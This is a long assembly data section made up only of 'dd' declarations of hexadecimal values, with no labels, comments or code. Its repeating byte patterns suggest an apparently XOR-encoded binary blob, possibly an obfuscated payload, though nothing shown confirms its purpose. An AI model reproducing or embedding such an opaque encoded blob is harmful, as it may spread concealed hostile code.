		dd 0D132563Ch, 393D161Eh, 0B1325657h, 0BE3256CAh, 0B1324050h
		dd 0B123BFEAh, 0D3385675h, 0A18304D4h, 0C20223FEh, 4D976448h
		dd 0B10F5F4Fh, 0B132AFABh, 0B1325A3Ch, 33AC81EAh, 59F9FDBh
		dd 0C1F0CDE6h, 0BE3256DCh, 0B132512Dh, 0B0B45957h, 443256ABh
		dd 0B1CB56D5h, 0A8B059EAh, 58325675h, 0B13256AEh, 0F6DBEBA3h
		dd 5530EC46h, 861BA143h, 705CD545h, 6BCADE07h, 49325612h
		dd 3A525675h, 0D0D4DC4Bh, 0B1C7565Dh, 0B138BFAEh, 527D5657h
		dd 0EA424AA8h, 43D4E5FCh, 3B3D56EAh, 0B1325674h, 0BE32564Fh
		dd 0B13257D8h, 0B132AEAEh, 0B13247BEh, 19FEA9ABh, 4A016C44h
		dd 0CF4E3226h, 64F5E85Bh, 0B1328A5Bh, 0BE3256A4h, 0B1324328h
		dd 0B122BF57h, 4BD456ABh, 790272BDh, 57AB8DABh,	8EC8F1BDh
		dd 0B132642Eh, 0B13FBFA4h, 0A58456AEh, 5243283Eh, 0F0A455D6h
		dd 0B12934CCh, 0A0DBAAEAh, 0F8325675h, 1C8C8248h, 0BE9E4FBEh
		dd 6C7E8236h, 0F8E9C77Ch, 3A5256ABh, 178A300Dh,	0B132375Dh
		dd 58325689h, 0B13256B4h, 7F1E35FDh, 0F7C18C71h, 4D88EC67h
		dd 0B132A80Ch, 0B132473Ch, 58DE4CEAh, 16C0ACE5h, 5494B3FEh
		dd 30C50AADh, 0B132F1BFh, 0B135DD58h, 0D75256ABh, 72B9AE5Eh
		dd 4432568Bh, 0B4DB5675h, 983256BAh, 984616F7h,	0B1CA56AEh
		dd 0B13FBF57h, 0B35A56ABh, 0F5D8A26Fh, 0D5E87094h, 0B16B6407h
		dd 5852AFBAh, 0B1325650h, 781BB796h, 0FA1BB91h,	14E8F7F9h
		dd 0B139BF01h, 9F2956EAh, 84176924h, 458A9583h,	0B132374Dh
		dd 0B1325947h, 3C775557h, 0CA13E100h, 10D8CD11h, 5B091168h
		dd 0A0DB5675h, 0C43256BAh, 0DC3DF11Eh, 243ED33Fh, 0DAFA828h
		dd 824F0562h, 0B132513Ch, 0D5D35BEAh, 0E0612B46h, 0BE5256BAh
		dd 0B13255DBh, 7EB930AEh, 0B1B65901h, 0EB3256ABh, 443256B4h
		dd 0D15256EAh, 0B132DB7Ah, 0E28C56BAh, 0D028F655h, 583256CFh
		dd 0B132565Eh, 0F2300533h, 7D53919Fh, 58325600h, 0B132567Eh
		dd 35205CCh, 66471EC0h,	0B1306242h, 6EB33657h, 0C72A0C57h
		dd 583256B4h, 0B13256FEh, 26356B5Bh, 0DB61F613h, 0ABAA6327h
		dd 2B6DBA7Eh, 0B979E58Bh, 0B1CB56ABh, 0BFB059D5h, 0D13256EAh
		dd 0B132DA7Ah, 323D56BAh, 0B132565Dh, 0B132A3CFh, 67B33037h
		dd 69B870C6h, 0D13256B4h, 0E3DBE59h, 0B13237A5h, 0B135BEDAh
		dd 0FBA5565Dh, 0A7A223ADh, 0E8533665h, 0B130D3A4h, 43B956D5h
		dd 0D132568Bh, 0B1325D9Dh, 0A1BAACBAh, 98F5948Dh, 5B746BC9h
		dd 0B13259BFh, 6D604DABh, 2C658CDEh, 0C42D6331h, 8F38E6E1h
		dd 608B0EE5h, 0D0188901h, 0BBDB56AEh, 0AF325657h, 97E6ECC9h
		dd 0DFF9B415h, 0BE3256F3h, 0B13257FDh, 0B132AFBAh, 3DC4D63Dh
		dd 0B153AE25h, 0B9B55957h, 0BE3256ABh, 0B132545Ch, 0B15336EAh
		dd 0BADBAE75h, 0DA3256BAh, 22D35424h, 9734705Ch, 0B1326F05h
		dd 0B133D1A4h, 0B1CA56D5h, 0B132AFEAh, 79B93015h, 0B1539530h
		dd 0B132AA5Dh, 4F8930CEh, 648B309Bh, 0B13237FBh, 0B13AD2DAh
		dd 445256EAh, 84DAD713h, 0B132374Fh, 0B136DB52h, 3B5256AEh
		dd 0B1323795h, 0F7F1D7CBh, 0BE114945h, 0B1325764h, 0B153A375h
		dd 0B9BB59BAh, 0BE32565Dh, 0B132542Ah, 0B1533657h, 0B132AAABh
		dd 0B132443Ch, 0F95921EAh, 0AE964216h, 0BE73010h, 678D1830h
		dd 0B1805BA3h, 0B13ABF57h, 0F47156ABh, 70B79218h, 0B13283D5h
		dd 148A3015h, 76B93058h
		dd 5832563Ch, 0B13256A3h, 72E15EDBh, 0E9C48971h, 0A0E100DFh
		dd 583256EBh, 0B132567Ch, 0D4BCAC8Eh, 1FBBBF3Ah, 58325628h
		dd 0B132565Dh, 89B4E420h, 5FC7383Ah, 0B132FF3Bh, 51B33015h
		dd 3F3D81B9h, 0B132565Dh, 0D13256CFh, 3A54C2E6h, 0B1323760h
		dd 0B121D2DAh, 0BFDB56EAh, 3B325675h, 0F70646B6h, 59CEC3EEh
		dd 86E83DB7h, 5832563Eh, 0B13256B8h, 44C94C90h,	0A1251903h
		dd 0D48C0A9Ch, 152E612Dh, 0B152983Ah, 0ADB359AEh, 0D1325657h
		dd 0B1324442h, 0BAE56CD5h, 22112AFDh, 993270E1h, 0BABE109h
		dd 0D727AE84h, 0B153AF25h, 0B138BF57h, 0FF9656ABh, 5509FF45h
		dd 0D3AA7B85h, 0A5DB5675h, 0F63256BAh, 86279123h, 0FD330C24h
		dd 3E9B8A2Fh, 0C6605A47h, 0B11E9083h, 58C736EAh, 0B1325661h
		dd 0D73FAF47h, 87F2ECEBh, 0E2ADDAF3h, 0F0A1282Ch, 0E6737AC7h
		dd 0D13256B4h, 0DDC0ED8Ch, 0D0E5E17Ah, 0B8DB56BAh, 0F532565Dh
		dd 0F4D45A4Eh, 0A6211465h, 0B133DAA4h, 0B1CB56D5h, 0BEDB36EAh
		dd 84325675h, 0E077D9C2h, 57A09259h, 340E445Dh,	5862D65Eh
		dd 0B13256BBh, 0C18C1760h, 933E8A87h, 0C654BA1Ch, 0B6ABCC30h
		dd 0B1323706h, 58325652h, 0B1325644h, 8F19D29Fh, 387A37BEh
		dd 73AB7935h, 6C6D3383h, 0B110D076h, 0A1DBAE5Dh, 3B3256AEh
		dd 9001BE91h, 0D47217B4h, 0AA0645ECh, 0B1D235DEh, 0B123BF75h
		dd 0FFFD56BAh, 35C7EA14h, 1EDE5664h, 0A6AC044Ah, 0B18C0C32h
		dd 63D36D5h, 0B1CA3713h, 0B132AF75h, 0BE325642h, 0B13249D5h
		dd 0A8B059AEh, 58325657h, 0B13256BFh, 1B4AC29h,	1D8BD3C6h
		dd 62F90BDAh, 6B873C0Eh, 0C58B2B8Ch, 0B1CB56AEh, 3A3D3657h
		dd 0B13256A8h, 0D7FCE1DAh, 0D0BCDE51h, 3B3D5675h, 0B13256AAh
		dd 0B134BF3Dh, 277456AEh, 0F3BBC3F9h, 0D0A3982Bh, 323D56D5h
		dd 0B13256EBh, 5832568Dh, 0B13256B6h, 2B288CC9h, 92D179A7h
		dd 0DE06E13Fh, 0BBDB56ABh, 693256D5h, 0D02F9A48h, 16F7ADBFh
		dd 0A0DB362Bh, 0BB32565Dh, 0CBF742ACh, 0E364FDB1h, 7C66CF62h
		dd 57453408h, 478830BDh, 0B153081Bh, 0B137BFBAh, 0D49F565Dh
		dd 0B19A6C2Ah, 4F833657h, 0B1B959CBh, 0BE3256D5h, 0D0539E55h
		dd 0A1DB5675h, 0EE3256BAh, 0AA88AEEh, 4E79CE42h, 0D23271F2h
		dd 0D1559A67h, 738D5987h, 0B153AAB2h, 3A543675h, 0B1323748h
		dd 0B1325AB4h, 140E64AEh, 0E823AD51h, 6D65500h,	0BE325645h
		dd 0B132576Bh, 0B132AF75h, 0B128D6B5h, 5852565Dh, 0B13256BEh
		dd 630F8DF2h, 0ADEFF987h, 0A9EBCC9Fh, 38029DD6h, 0D0FBE97Ah
		dd 0B1CB56BAh, 4F87365Dh, 0B120BECEh, 0A3A85657h, 18E45596h
		dd 18A67AE4h, 55655D7Dh, 0B257347Eh, 77B930E3h,	3B3D373Ch
		dd 0B13256A2h, 0B1BC5937h, 0D73256ABh, 0D0CD166Dh, 383D56EAh
		dd 0B1325671h, 0D0E1E1DAh, 0B3B5593Dh, 0E23256AEh, 77855909h
		dd 0D13256CAh, 0B132583Dh, 8167F1EAh, 0C5C445E6h, 0EF6EDF4Dh
		dd 0BE72D11Fh, 0D76C9511h, 0B153A5DCh, 305436ABh, 816140Ch
		dd 0D5C4D84Dh, 0BDB05914h, 0BE3256BAh, 0B13250D1h, 0B1BB59AEh
		dd 0B1325657h, 0ADB659ABh, 0BE3256D5h, 0B132406Bh, 0B123BF75h
		dd 764856BAh, 5395968Ch, 92DE8256h, 0DBBBDBD4h,	0BE9CCD63h
		dd 0B1325755h, 0B132AFEAh, 0B134D67Ah, 0D15256BAh, 0D053363Ch
		dd 0B122D5A1h, 0BADB5657h, 0B83256ABh, 0D248A6E6h, 34013A64h
		dd 0B132B433h, 0CE8930DAh, 0D0EEE602h, 3E3D56AEh, 0B1325646h
		dd 0B1325A42h, 0F06C9BD5h, 0BE30B1FBh, 0BD8E5CEBh, 0B8B159B8h
		dd 0D132565Dh, 0E9E3D7C8h, 0D06B004Bh, 58CB56ABh, 0B13256DAh
		dd 0C90D38B3h, 86FEAA2Ch, 3C59AC81h, 0B15F99DCh, 0B132AEAEh
		dd 4D3256A2h, 0D75256ABh, 0BBDB905Eh, 0DF3256EAh, 0AFE011B6h
		dd 0F0B47Bh, 0B1CA37BDh, 0B126BFAEh, 228E5657h,	2A5C6B54h
		dd 6A96F651h, 0B4D9E2F8h, 881BE7E8h, 0B13231F5h, 0A6B8593Dh
		dd 583256AEh, 0B1325645h, 0ECF5A00Fh, 0DA544EC6h, 0DD86A43h
		dd 3D26FD99h, 3054953Eh, 0D0D7E98Dh, 3C3D56AEh,	0B1325651h
		dd 63DAFCBh, 0B132372Fh, 0B1325C03h, 635B1675h,	6107741Ah
		dd 0B17D50ECh, 0B137BFAEh, 3B615657h, 0B134BCC5h, 0B13ABFD5h
		dd 1F9156EAh, 4283114Dh, 0B132C1DDh, 0D72AE03Dh, 0A7698F2Fh
		dd 0D1325636h, 0F7BBE8CDh, 4D3256B4h, 3F3D56EAh, 0B132565Fh
		dd 0B126BFDAh, 9CCC565Dh, 61AE745Fh, 13344C29h,	81496BD1h
		dd 6C8CD28Ch, 0BBDBB93Fh, 3E325675h, 0EFCF74A2h, 64D972ECh
		dd 30523743h, 0DB5EB1BCh, 0D0CBDCCCh, 595256D5h, 0B13256E0h
		dd 6C7827D2h, 88C29EB3h, 0B9DB482Dh, 2A3256AEh,	4B48B79Ch
		dd 0E913D93Fh, 0D0CBE9DAh, 303D56EAh, 0B1325679h, 0B134D5B5h
		dd 3D3D565Dh, 0B13256AEh, 0BADB5657h, 0A33256ABh, 38F9D534h
		dd 5C58EA02h, 0B132DB9Ah, 0B1324553h, 49A7915Dh, 0EC5ED60Fh
		dd 7EC6F3EDh, 0CFBB4F8Dh, 0F72D6644h, 0B1C756EAh, 0BABE5975h
		dd 583256BAh, 0B132565Bh, 4A1275B5h, 0A1DB79ECh, 643256ABh
		dd 0BF807598h, 67002795h, 873262AFh, 0B1EBB227h, 0D752AF5Dh
		dd 49904917h, 0D1325636h, 0B130DBA4h, 0E96356D5h, 0A11E98Ch
		dd 58325614h, 0B13256B4h, 187AD7C1h, 0F75E852Dh, 85509EECh
		dd 0B132F743h, 0A9B559B5h, 593256EAh, 0B1325667h, 837E256Ch
		dd 5DB909FEh, 7B31426h,	0BE7A6164h, 0D16A07CFh,	0B132593Dh
		dd 4CED71EAh, 0B16A8A0Ch, 839BDFD0h, 7DD8FA63h,	768559F0h
		dd 0B1323736h, 0B13DBF53h, 0A7C156D5h, 382CDC89h, 75588BB0h
		dd 0F2403192h, 0BE325627h, 0B1325C20h, 3D3D3657h, 0B13256ABh
		dd 0B153805Eh, 5852A3EAh, 0B1325665h, 0E83FBCD5h, 7C8D5DE2h
		dd 0DF7EB988h, 33A2D743h, 0B1325142h, 7BE68D5h,	72B14FBAh
		dd 0BE325614h, 0B1325A37h, 363D365Dh, 0B13256AEh, 300BE931h
		dd 443256CAh, 0B132423Ch, 0B04C2FEAh, 0A917FDh,	0FB7EDD45h
		dd 3F0DC277h, 0C7DD267Eh, 4932564Dh, 0E989A3CBh, 0D034DDC9h
		dd 0B7DB56EAh, 50325675h, 18C6198Ah, 583256EAh,	0B13256BFh
		dd 0DA7992FCh, 14A78477h, 0AFE5C1D0h, 15B7EF26h, 0BE3256DBh
		dd 0B1324C3Bh, 0A3DA365Dh, 2C3256AEh, 0A2C098FEh, 16AF9D2Ch
		dd 24393BECh, 13A7070Eh, 58530E52h, 0B13256AEh,	62C9EE0Dh
		dd 38DC2B8Ah, 970B0822h, 3A96C6F8h, 22AE85A6h, 3E3D56EAh
		dd 0B132567Dh, 0B130D1B5h, 0D052565Dh, 0B12ED1A1h, 58525657h
		dd 0B13256BFh, 0C65962F6h, 9669E093h, 49D581D3h, 7C59EC59h
		dd 1834A547h, 0B1323752h, 0B127DE58h, 0E65256ABh, 0B13EBF8Dh
		dd 19BC56EAh, 0A5A08426h, 989959EFh, 0B153B87Eh, 0B13EBFAEh
		dd 0ED055657h, 0EFD093E7h, 7AE493DDh, 0B132BAB8h, 5832568Dh
		dd 0B13256B5h, 7B393AFBh, 3AEE84E3h, 0CFBCD3FCh, 0B1C4CAE3h
		dd 305436D5h, 58187608h, 0B132567Ch, 74D01461h,	4281F265h
		dd 3F3D37E7h, 0B1325656h, 44325657h, 0B1CA56D5h, 0B132AAEAh
		dd 0B12FDE7Ah, 595256BAh, 0B132564Eh, 1DC83470h, 93C0E131h
		dd 14DF0EB4h, 7125A9B8h, 0E81D5347h, 0B1530F24h, 0B121BFBAh
		dd 7F35565Dh, 9DC17EEEh, 9E7E0829h, 377E51A7h, 78DEAC77h
		dd 0BE325649h, 0B13257F2h, 0B132AABAh, 0B8DBAE3Dh, 2D3256AEh
		dd 2B55D635h, 7D7F22FFh, 0B132AEB4h, 0B1325003h, 117BAC75h
		dd 0D119AF89h, 0B130D952h, 48556AEh, 0FF6D94D6h, 0B1534DE4h
		dd 0B132AAD5h, 0B1324503h, 0A61B4175h, 36EF06C0h, 3E1B69F8h
		dd 8FCF14C2h, 0C03C9A92h, 3E3D56ABh, 0B13256D2h, 0B133DBE5h
		dd 0B1CA5675h, 0B13ABFBAh
		dd 89FB565Dh, 33BDC976h, 0BE523CA2h, 0B132512Ah, 508A36D5h
		dd 0D049671Ch, 0B132569Dh, 5BB30CBAh, 0B69CC891h, 0B1325147h
		dd 0C351E857h, 9E25920Ch, 0B13ED9DAh, 323D56EAh, 0B1325673h
		dd 0B132DFB5h, 0F52565Dh, 0EE4F0760h, 3C5303E3h, 1CB90F2Eh
		dd 67B236D2h, 33BB379Eh, 0B69CD0BCh, 0A7E5D7DAh, 0D73D2419h
		dd 3C539C25h, 1E5E75D5h, 0B8B159ACh, 0D13256D5h, 3CF0D78Ch
		dd 0D05336CBh, 49B0DF4Fh, 0BE35F8DBh, 0B132572Ch, 0DDDAAE57h
		dd 4D32569Dh, 0B1301B3Dh, 0BDBB59EAh, 0BE325675h, 0B1325032h
		dd 0B1B7595Dh, 763256AEh, 1FB412D5h, 0B13256ACh, 0B13EBFD5h
		dd 0A5AD56EAh, 0ACEA8075h, 5302C8EFh, 0BE604EC6h, 0B132402Eh
		dd 0B123BF57h, 869656ABh, 0D7746D6h, 0C962393Bh, 17066695h
		dd 77D3982Ch, 19344FD8h, 0BE5200A9h, 0B1325BDCh, 0B13ABFABh
		dd 270956D5h, 0B7FD82A3h, 0D0C70038h, 198A04D2h, 0BDBA59C1h
		dd 0BE3256AEh, 0B13250D3h, 0B1BC59ABh, 4E3256D5h, 193EB75Fh
		dd 34BFA372h, 0B6992EA0h, 58E2A9A5h, 0B13256ABh, 959ABF23h
		dd 9CB7DFDBh, 0D135FEC6h, 0B138BE8Ah, 8BFB5675h, 7FAC981h
		dd 0EF1DD839h, 0B13EBFF7h, 3EA95657h, 0A1695FE5h, 2FABB5F8h
		dd 0D0533586h, 0BADB521Fh, 0FF3256BAh, 0ABE628DFh, 0B9B8CBBAh
		dd 0B15A9326h, 583256BBh, 0B13256DDh, 0B15580E3h, 4819B3D6h
		dd 0B23F16D2h, 0A1DA365Dh, 0B43256AEh, 611CEEFAh, 0C420547Bh
		dd 0D6C2007Ch, 0E884A5A0h, 0B1583789h, 3F3D36DAh, 0B132565Dh
		dd 0B1324547h, 3244657h, 77B97F88h, 0FDCF0E1Ah,	8D91DF7Eh
		dd 851C0251h, 0EACE01DBh, 383363Ch, 0E67BA915h,	61CD3744h
		dd 5868AA57h, 0B13256C4h, 0A9C7284h, 6B40EAE5h,	3E02F7B2h
		dd 0BD630BD0h, 0BEF25D2Fh, 0B13293D3h, 33BBAFABh, 0B69CD091h
		dd 0DBB0DF12h, 4D35F8F3h, 0B23F1603h, 49B9AF5Dh, 58D7DCCEh
		dd 0B1325643h, 81EFED1Ah, 6F067E7Eh, 0F7F47612h, 8D727418h
		dd 43B7C169h, 58F2653Ch, 0B13256A9h, 5A1391DDh,	425CCBBBh
		dd 5860AA7Fh, 0B13256E6h, 0DA997772h, 395961C6h, 4B186E46h
		dd 0D9CA52C4h, 0B1324657h, 0B5323E5Eh, 0B7DB56D5h, 1A3256EAh
		dd 0E0D1B3DEh, 57B33620h, 0F3550D33h, 0D6FBD7C8h, 0B15837BFh
		dd 0B1325B42h, 27B41ED5h, 65997A04h, 71D3C744h,	23CD8DADh
		dd 0B69A4570h, 0B138D4A1h, 0B4DB5657h, 0A53256ABh, 4B14C886h
		dd 33BBA3B0h, 0B69CDF75h, 0B1324753h, 0F71BC25Dh, 8569BBB0h
		dd 9F2A1D74h, 9423F95Bh, 0BE53F0C2h, 0B1325766h, 34B9A375h
		dd 0B69CD0FEh, 0A1DB95A8h, 13256AEh, 0F20D69DCh, 0D23BF09Ah
		dd 1AACE8F2h, 58BE77C4h, 0B1325673h, 0A9522F93h, 0BE528D70h
		dd 0B1325024h, 61B23657h, 0BE53AFC7h, 0B1325D50h, 0B134BFEAh
		dd 0BD9A5675h, 89B62514h, 81CFD49Ah, 0B1325106h, 0A3DB5617h
		dd 0D03256ABh, 69CEB30Fh, 6D1814B9h, 802BA896h,	650CB06h
		dd 0C0B09193h, 0B135FEA9h, 49325647h, 0B122BFCAh, 9A2456D5h
		dd 6099413Ah, 2C01D289h, 6A7A8565h, 58F1B3EBh, 0B13256BDh
		dd 1E2EE641h, 592F2B26h, 0D4D14F25h, 42F2CB50h,	58BC05B1h
		dd 0B13256B1h, 496638D1h, 3C2EB868h, 0D1A08C4Bh, 0B1325142h
		dd 16B8D4D5h, 5AF164C6h, 3776ECFEh, 333D5114h, 0B1325656h
		dd 0B1325047h, 5DFB0957h, 321CBC6Dh, 353D56EAh,	0B1325640h
		dd 0A14DD58Dh, 0D2B659B8h, 0BE32565Dh, 0B1324227h, 0B13DBF57h
		dd 17DB56ABh, 46B3B324h, 941739E6h, 0BD434796h,	0A14DD51Bh
		dd 0EEB65959h, 0BE3256AEh, 0B13257D6h, 76B1AAABh, 308736C1h
		dd 0B1325D02h, 0E5920275h, 0AC5DC2A0h, 0EE16B3CFh, 58530E56h
		dd 4ECDA9F4h, 0B126D4A4h, 353D56D5h, 0B13256E4h, 0B1325F9Ch
		dd 0A9C6F6BAh, 6EA6DCCCh, 0F6F505EEh, 0B1325747h, 0B13BBFABh
		dd 20B756D5h, 49DBB207h, 0D1A5ABF0h, 0D0FADDDCh, 4ECDFFB4h
		dd 0F6F5AE51h, 0B1325547h, 2ADBA3ABh, 58CDA92Ah, 0B13256E0h
		dd 0A3E8CA39h, 2F1BEAC7h, 585396E1h, 0B13256BFh, 0EB35ECD0h
		dd 345517F7h, 0F2B23D7h, 613C0B72h, 0BFDB9585h,	0A23256BAh
		dd 0E9044339h, 0C43F98E4h, 0B5EEB3ADh, 3ACA03CAh, 0B139BF39h
		dd 1EEE56EAh, 0E86740B8h, 8B50C88Dh, 363D36BBh,	0B13256BAh
		dd 0B13259BEh, 0A5DBCEABh, 0E728382Fh, 44D51C89h, 874E8A48h
		dd 0B132BE4Fh, 3068565Dh, 1F910744h, 0BAB05950h, 583256ABh
		dd 0B13256D3h, 0A503B75Ah, 0BBDBF877h, 0A43256BAh, 539776B0h
		dd 0A17662D0h, 9280DD8Bh, 5835F822h, 0B13256DDh, 34F69BAFh
		dd 78E769B4h, 0BE3A1331h, 0B13257D0h, 0B7BBA3AEh, 0B127D358h
		dd 0A1DB56ABh, 0B93256D5h, 1FBC6302h, 1AA77608h, 6F495E5h
		dd 4482B88Fh, 3811D42Dh, 443651F9h, 58FBAFCAh, 0B13256DEh
		dd 69DEADF9h, 0CBCD8C96h, 7351F2D2h, 0BCDB5659h, 0AE3256AEh
		dd 28CD459h, 12996F26h,	0C563C3F3h, 0B13EBF8Ah,	0F3AC5675h
		dd 8FC02DFDh, 29055531h, 0B1DA2A02h, 0EB325657h, 12C8BC2Ah
		dd 3A3D517Bh, 0B13256EBh, 0A2DB3680h, 43256BAh,	9DA819EBh
		dd 0CC493E19h, 0E9751FCh, 201735CCh, 0D15358D8h, 120CB554h
		dd 67B9307Eh, 0B180DDDBh, 4D35F8D4h, 3811E495h,	353D51F9h
		dd 0B132573Bh, 0B129D0DAh, 373D56EAh, 0B1325660h, 0B1324653h
		dd 0FD9D635Dh, 54CFE500h, 551EB792h, 543DF925h,	0D10CDD0Ah
		dd 31ED9F6Bh, 35257F1h,	0D053AFD9h, 0B4DB89D6h,	0AF3256AEh
		dd 6F9E6420h, 0B07DE0A4h, 0B123D3DAh, 0BDDB56EAh, 6E325675h
		dd 0E7AFDE97h, 67532791h, 47F36CE1h, 0BEB25710h, 0B1327B2Eh
		dd 0B0BB59D5h, 4D3256EAh, 0BEF4DD15h, 0B253A505h, 0B120BF84h
		dd 17E156AEh, 2949F3DCh, 8FE0F1DBh, 1F0A5999h, 24012A6Dh
		dd 0B132409Ch, 6819AFBAh, 0B13FDE52h, 0B9DB56AEh, 0A4325657h
		dd 3584FED0h, 0F2AA4508h, 0B135BF8Ah, 3C8A5675h, 9E77ADAh
		dd 70B930DBh, 0B13CBFCFh, 0B48E5657h, 502365F3h, 33DE1395h
		dd 89F3C20Eh, 0B13BBF36h, 246456BAh, 0DB05A35Ch, 3AFE25F8h
		dd 191E0FD2h, 3CB9A3ACh, 0B69A70ECh, 0B138D1E5h, 0B4DB5675h
		dd 1C3256BAh, 0BC326768h, 333D8E95h, 0B1325632h, 305407CBh
		dd 0E8264917h, 1A80BE6Bh, 8A531BBAh, 0FFB55963h, 0BE32565Dh
		dd 0B1324B2Dh, 0A6B25957h, 583256ABh, 0B13256C7h, 0AD9FB7BEh
		dd 0A67EF08Fh, 62AF893Dh, 0F26CE9DBh, 303D2FA8h, 0B1325656h
		dd 0B5F4D552h, 0B132473Ch, 0CAEBD9EAh, 10E5C629h, 3332D6DFh
		dd 0FCA8F06Dh, 28DBB68Ch, 0D1CDA9A9h, 4D99982Bh, 0BEFD6DB4h
		dd 0B132716Eh, 0CBBAE75h, 0B69A7083h, 4F45BFA4h, 0BFDBA951h
		dd 97325657h, 9012DF38h, 8EABB45Bh, 9FB178D7h, 3A54365Ch
		dd 0D0AEE271h, 0A8B9593Ch, 0D13256AEh, 0B132D158h, 0BDDB56ABh
		dd 333256D5h, 0ACB51357h, 0BC94AB8Fh, 0D0627467h, 0B139BF9Eh
		dd 44FB56AEh, 5F24E238h, 0E3E4AC07h, 0BE52369Ch, 0B1325461h
		dd 0D7680175h, 0D06C1C05h, 0BC28EE3Dh, 0BCDA7FC9h, 0C0325657h
		dd 0B6438CFEh, 7E06010Eh, 957D368Ch, 0B132519Ch, 5B8E3EBAh
		dd 992F6B61h, 0B1DA37F1h, 0EB325657h, 1708BC2Ah, 323D517Bh
		dd 0B13256EBh, 0B122BF8Dh, 0DFC56BAh, 7DB621CDh, 640F1211h
		dd 0E3D02798h, 0BB92AD6h, 0B69CDFD5h, 0B032EF12h, 3B3D5675h
		dd 0B13256AFh, 0B13DD352h, 0BBDB56AEh, 3F325657h, 0D30B4475h
		dd 0C0192B2Eh, 49F265ECh, 313DFD86h, 0B13256BBh, 0B1B0DDA5h
		dd 4835F827h, 3811D4DEh, 0BBDB5105h, 0D3256D5h,	0E41A84CBh
		dd 69CBE0Eh, 333D3710h
		dd 0B1325642h, 0B12BDEA1h, 0A5DB5657h, 3B3256ABh, 0FDA5C2D7h
		dd 0BC7897DCh, 0F6AF7D4Ch, 0B3EBC2A6h, 72A620DCh, 6EB330CEh
		dd 0BCDB2BD7h, 493256ABh, 13E2E6CFh, 0D8FE383Eh, 0B1BF8E93h
		dd 0BE5236DBh, 0B13244D3h, 0B13EBEAEh, 68845657h, 0E299DFA7h
		dd 0F183F492h, 96C761Fh, 0F159FABAh, 0B132BEDBh, 3068565Dh
		dd 1F954744h, 0B120BF50h, 0E01356ABh, 0ABB613BDh, 9CB5C34Eh
		dd 66B0C735h, 1CBCE419h, 0B13FD752h, 0B9DB56AEh, 1D325657h
		dd 4CC7F1B2h, 7750D352h, 19344F6Fh, 3A3D0072h, 0B13256A8h
		dd 0B1325BB4h, 0F24886AEh, 8818F7D5h, 5810DA21h, 885A3E6Bh
		dd 44E64987h, 0BDD3E38Ah, 3CC75112h, 1A4A4CD8h,	0EE6336A9h
		dd 4E53A4DCh, 0A2DB367Bh, 8D3256D5h, 0FC4804CBh, 0A7543B77h
		dd 69018702h, 4F03BD0Dh, 0F54EAF1h, 0E3537F3Fh,	0B1325C42h
		dd 0F985DAD5h, 9DC2C365h, 0E10754B0h, 0B1325F53h, 6B4EB65Dh
		dd 0A219115Ch, 0B15AAF79h, 5832562Bh, 0B13256DDh, 6CC954B1h
		dd 0D223285h, 0B6DB56D0h, 1F32565Dh, 0C4CAEF07h, 3CDC950h
		dd 0B69CD0EFh, 0BEE2A92Dh, 0B132466Fh, 0BBB85975h, 583256BAh
		dd 0B1325658h, 186E54ACh, 0EBCB0E58h, 303D3657h, 0B13256D0h
		dd 0C53EF153h, 0B121BE60h, 2C9C56BAh, 0DDF3D671h, 2875C602h
		dd 0B897177Dh, 3034CD4Bh, 0D9530847h, 0B132D6EAh, 0B12AD47Ah
		dd 0A2DB56BAh, 0C632565Dh, 2EA0A9ACh, 64B1FD8Eh, 9DBDBF9Eh
		dd 424FC58Fh, 0B1584A39h, 0B139DF7Ah, 0B7DB56BAh, 0F632565Dh
		dd 87A8AFBEh, 0A7BD59A0h, 0D13256ABh, 0B13CBF20h, 38BA56EAh
		dd 33FC2F6Ah, 37EDFC44h, 4208075Eh, 0B180A9CFh,	5835F8DEh
		dd 0B13256A2h, 0EF5488h, 0E2D20783h, 48E2A9DFh,	49F1AADBh
		dd 5DB9AF08h, 0B1325E47h, 1024A57h, 76AD363Dh, 0BADB3629h
		dd 6E3256EAh, 95341247h, 7EAB047Ch, 0B1DAC3A8h,	0EB3256AEh
		dd 1984BCD6h, 0A5DB5105h, 0C83256D5h, 14F33D34h, 0E96C64FCh
		dd 5CA558h, 13B2E189h, 58C7E24Ah, 0B132565Fh, 0ABA47C77h
		dd 3024477Bh, 583A2361h, 0B1325678h, 0CC71FDA3h, 1CA6C6FEh
		dd 1B11133Fh, 0BF96BED5h, 305256ABh, 178A9203h,	4D6737FBh
		dd 37FBC48Ah, 0BE525114h, 3054AEEAh, 0D0FDF866h, 0B13EDC58h
		dd 343D56ABh, 0B13256D3h, 0B132DBE5h, 586F5675h, 0B13256BCh
		dd 0C2BE27CCh, 0C409A72Ch, 0BB7595Bh, 58CDA954h, 0B13256C4h
		dd 3E20BA5Fh, 590E912Ah, 5AF09AE3h, 29945866h, 0BF7ABE1Bh
		dd 0B7DB5657h, 0BF3256ABh, 881D2999h, 3A3D37CFh, 0B1325674h
		dd 393D9F46h, 0B1325655h, 0B130DDA1h, 0D0525657h, 49325E69h
		dd 0EA6336B5h, 0B1325803h, 0B4431E75h, 490DB841h, 0B581D1D6h
		dd 0D0FA3160h, 0B132D758h, 0E45356ABh, 0B132473Ch, 0D29BBEEAh
		dd 452B4DF2h, 855C7A39h, 2844EAA9h, 5DB93E45h, 4DF6D5A2h
		dd 0B1325D42h, 0C45D8AD5h, 0D70F118Eh, 0B47B4F13h, 0D165AAECh
		dd 0D7E8DD3Dh, 6F59B72Fh, 0D1613736h, 0BDD3A02Ah, 0FA822F3Ah
		dd 0B132BE8Bh, 30685675h, 1F9BBF50h, 0B0B5595Ah, 493256AEh
		dd 0B947DDAEh, 0B133D0A4h, 58CA56D5h, 0B13256E5h, 0AC0538F4h
		dd 0B765FB90h, 4EB2DC58h, 3A5A4C2Eh, 0D752462Ah, 7EC6942Ah
		dd 3F3D01B4h, 0B13256EDh, 50B33015h, 0E753D946h, 0B138DC52h
		dd 0B4DB56AEh, 3A325657h, 0FE6782D4h, 0B1330C3Dh, 7139AAEAh
		dd 0B1F0D27Ah, 585256BAh, 0B1325655h, 95207DE6h, 0E3B8E905h
		dd 9001ECCDh, 0BECADDB4h, 0B132506Ch, 0D7CA3675h, 0E4539431h
		dd 78A0A9A4h, 0D135F828h, 608D5937h, 0D7530EFBh, 0CC8BB954h
		dd 8ACB0B8Bh, 353D5A00h, 0B132563Ah, 0B1325AB4h, 42E68BAEh
		dd 73ED104Fh, 5DF81EA7h, 0AFB9306Ch, 51B3308Ah,	63D563Bh
		dd 343D3762h, 0B132565Ch, 41D5D657h, 0B121D158h, 0BFDB56ABh
		dd 6E3256D5h, 30DB7905h, 7CFA0A66h, 6C150EB3h, 0D12CDC59h
